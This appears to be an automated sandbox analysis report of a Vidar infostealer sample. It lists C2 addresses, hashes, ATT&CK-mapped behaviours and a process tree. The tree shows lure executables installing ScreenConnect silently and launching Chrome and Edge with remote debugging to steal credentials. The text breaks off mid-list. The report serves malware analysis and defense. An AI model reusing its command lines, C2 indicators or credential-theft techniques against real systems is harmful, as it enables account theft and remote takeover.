Overview

overview

10

Static

static

3

4363463463...63.exe

windows11-21h2-x64

10

New Text D...od.exe

windows11-21h2-x64

10

Resubmissions

15/09/2026, 11:12

260915-navswatygv10

07/09/2026, 00:25

260907-aqql7sttav10

04/08/2026, 14:58

260804-sb5rpashpf10

04/08/2026, 06:06

260804-gt3t9seb3810

04/08/2026, 05:43

260804-gey8jaw1bx10

24/07/2026, 07:14

260724-h2zy1svbmg10

24/07/2026, 07:09

260724-hy9ztatwfy10

24/07/2026, 06:50

260724-hmdggahn6v10

21/07/2026, 16:13

260721-tpe9macc423

21/07/2026, 16:00

260721-tfvb7axvcy10

Analysis

  • max time kernel
    1800s
  • max time network
    1801s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250210-en
  • resource tags

    arch:x64arch:x86image:win11-20250210-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/02/2025, 01:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    New Text Document mod.exe
  • Size 8KB
  • Sample250214-bjsnnayne1
  • SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
vidaradwarecredential_accessdiscoverypersistenceprivilege_escalationspywarestealer

Malware Config

Extracted

Family

  • vidar

C2

  • https://t.me/b4cha00

  • https://steamcommunity.com/profiles/76561199825403037

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0

Signatures

  • Detect Vidar Stealer 3 IoCs
    stealer
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Downloads MZ/PE file 11 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 30 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 4 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 53 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies Internet Explorer settings 1 TTPs 24 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 62 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
    "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Users\Admin\AppData\Local\Temp\a\AutoClicker-J-AI.exe
      "C:\Users\Admin\AppData\Local\Temp\a\AutoClicker-J-AI.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
        3⤵
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        PID:952
    • C:\Users\Admin\AppData\Local\Temp\a\USDTFlash.exe
      "C:\Users\Admin\AppData\Local\Temp\a\USDTFlash.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3136
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
        3⤵
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        PID:2276
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NzU4MjhDNUUtMDUxOS00MTE5LUFDMzItMEQwMjhCMDJCMjUwfSIgdXNlcmlkPSJ7N0I0QUNERUYtMzE3My00REU0LTg5MDUtNERGQTAyQjNBNDUwfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RERBRUExMjItNkZCQi00QzhDLTgxMkYtMzNFRDkzMkRGNzJEfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RSt4YkF6Nlk2c1UxMjg5YlM2cWw0VlJMYmtqZkJVR1RNSnNqckhyNDRpST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjMiIGluc3RhbGxkYXRldGltZT0iMTczOTE4Mzk2NiIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMzgzNjU1NjQwMTY2MDAwMCI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjIxNzk4NjIiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUwNDc2OTcwNjEiLz48L2FwcD48L3JlcXVlc3Q-
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:3740
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /0
    1⤵
    • Checks SCSI registry key(s)
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:4788
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3580
    • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
      "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
      1⤵
      • Downloads MZ/PE file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:720
      • C:\Users\Admin\AppData\Local\Temp\a\VPN-Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\a\VPN-Installer.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1208
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
          3⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:652
      • C:\Users\Admin\AppData\Local\Temp\a\BTC-Flasher.exe
        "C:\Users\Admin\AppData\Local\Temp\a\BTC-Flasher.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2896
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
          3⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          PID:872
      • C:\Users\Admin\AppData\Local\Temp\a\pothjasefdj.exe
        "C:\Users\Admin\AppData\Local\Temp\a\pothjasefdj.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        PID:2356
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
          3⤵
          • Uses browser remote debugging
          • Drops file in Windows directory
          • Enumerates system info in registry
          • Modifies data under HKEY_USERS
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          PID:2160
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe81f8cc40,0x7ffe81f8cc4c,0x7ffe81f8cc58
            4⤵
              PID:1596
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1744,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=1732 /prefetch:2
              4⤵
                PID:4852
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2116,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=2148 /prefetch:3
                4⤵
                  PID:4632
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2228,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=2404 /prefetch:8
                  4⤵
                    PID:2096
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3152,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=3184 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:1964
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3332,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=3316 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:3632
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4244,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4524 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:2884
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4660,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=3604 /prefetch:8
                    4⤵
                      PID:836
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4688,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4780 /prefetch:8
                      4⤵
                        PID:1780
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4916,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4932 /prefetch:8
                        4⤵
                          PID:4592
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5072,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4768 /prefetch:8
                          4⤵
                            PID:2528
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4832,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4896 /prefetch:8
                            4⤵
                              PID:252
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4496,i,15810430499633765755,4970291443279605454,262144 --variations-seed-version=20250209-180322.678000 --mojo-platform-channel-handle=4884 /prefetch:8
                              4⤵
                                PID:2080
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                              3⤵
                              • Uses browser remote debugging
                              • Enumerates system info in registry
                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                              PID:4676
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffe81f93cb8,0x7ffe81f93cc8,0x7ffe81f93cd8
                                4⤵
                                  PID:736
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1896 /prefetch:2
                                  4⤵
                                    PID:3284
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 /prefetch:3
                                    4⤵
                                      PID:3704
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2552 /prefetch:8
                                      4⤵
                                        PID:2996
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
                                        4⤵
                                        • Uses browser remote debugging
                                        PID:1592
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                                        4⤵
                                        • Uses browser remote debugging
                                        PID:2744
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1972 /prefetch:2
                                        4⤵
                                          PID:1488
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2116 /prefetch:2
                                          4⤵
                                            PID:2828
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2032 /prefetch:2
                                            4⤵
                                              PID:1932
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4040 /prefetch:2
                                              4⤵
                                                PID:1536
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4024 /prefetch:2
                                                4⤵
                                                  PID:2696
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2164 /prefetch:1
                                                  4⤵
                                                  • Uses browser remote debugging
                                                  PID:3388
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:1
                                                  4⤵
                                                  • Uses browser remote debugging
                                                  PID:3632
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1868,9896316070973506943,4492347659205062296,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3472 /prefetch:8
                                                  4⤵
                                                    PID:2988
                                              • C:\Users\Admin\AppData\Local\Temp\a\main.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                PID:3268
                                            • C:\Windows\system32\msiexec.exe
                                              C:\Windows\system32\msiexec.exe /V
                                              1⤵
                                              • Enumerates connected drives
                                              • Boot or Logon Autostart Execution: Authentication Package
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Modifies registry class
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of WriteProcessMemory
                                              PID:2020
                                              • C:\Windows\syswow64\MsiExec.exe
                                                C:\Windows\syswow64\MsiExec.exe -Embedding 744EA09B7BA7B5D76F054C87DCC8941F C
                                                2⤵
                                                • Loads dropped DLL
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of WriteProcessMemory
                                                PID:2884
                                                • C:\Windows\SysWOW64\rundll32.exe
                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241272359 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                  3⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  PID:252
                                              • C:\Windows\system32\srtasks.exe
                                                C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                2⤵
                                                  PID:5116
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding DA876DEF3671D31DDC65F679980BD4AA
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2352
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 3B1B9C597AEA9010FCAF39907D2E9063 E Global\MSI0000
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4824
                                                • C:\Windows\syswow64\MsiExec.exe
